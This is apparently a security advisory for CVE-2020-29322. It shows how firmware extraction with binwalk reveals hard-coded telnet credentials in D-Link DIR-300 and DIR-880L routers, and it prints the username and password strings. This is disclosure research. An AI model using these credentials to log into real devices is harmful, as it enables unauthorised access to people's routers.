CVE-2020-29322

A series of old D-Link routers are vulnerable to credentials disclosure in telnet service through decompilation of firmware, allowing an unauthenticated attacker to access the telnet service.

Confirmed devices and firmware versions:

Device NameFirmware VersionRelease Date
DIR-3002.06 (latest)2015/04/24
DIR-880L1.07 (latest)2016/05/25

DIR-300

Download DIR-300 firmware version 2.06 and extract it using binwalk.

N/ABASH
binwalk -e dir300b_v2.06_f4la.bin

The username Alphanetworks is hard-coded in etc/scripts/misc/telnetd.sh:

N/ABASH
telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &

The password is stored in etc/config/image_sign:

N/ABASH
wrgn23_dlwbr_dir300b

DIR-880L

Download DIR-880L firmware version 1.07 and extract it using binwalk.

N/ABASH
binwalk -e DIR880A1_FW107WWb08.bin

The username Alphanetworks is hard-coded in etc/init0.d/S80telnetd.sh:

N/ABASH
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &

The password is stored in etc/config/image_sign:

N/ABASH
wrgac16_dlink.2013gui_dir880
Disclaimer

All content published on exploit.se is intended strictly for educational and informational purposes. Research is conducted responsibly under coordinated disclosure principles.

Techniques, tools, and writeups shared on this site are meant to advance the security community's understanding of vulnerabilities and defences. They are not intended to encourage or enable unauthorised access to any system.

The author bears no responsibility for any misuse of information presented here.

Cookie Settings

This site does not use cookies, analytics, or any third-party tracking technologies.

No personal data is collected. No fingerprinting. No ads. You are not the product.


 ██╗ ██████╗ ███████╗██╗███████╗███╗   ██╗██████╗
 ██║██╔═══██╗██╔════╝██║██╔════╝████╗  ██║██╔══██╗
 ██║██║   ██║█████╗  ██║█████╗  ██╔██╗ ██║██║  ██║
 ██║██║   ██║██╔══╝  ██║██╔══╝  ██║╚██╗██║██║  ██║
 ██║╚██████╔╝██║     ██║███████╗██║ ╚████║██████╔╝
 ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚═╝  ╚═══╝╚═════╝
You found me.
↑↑↓↓←→←→ B A  ·  click to close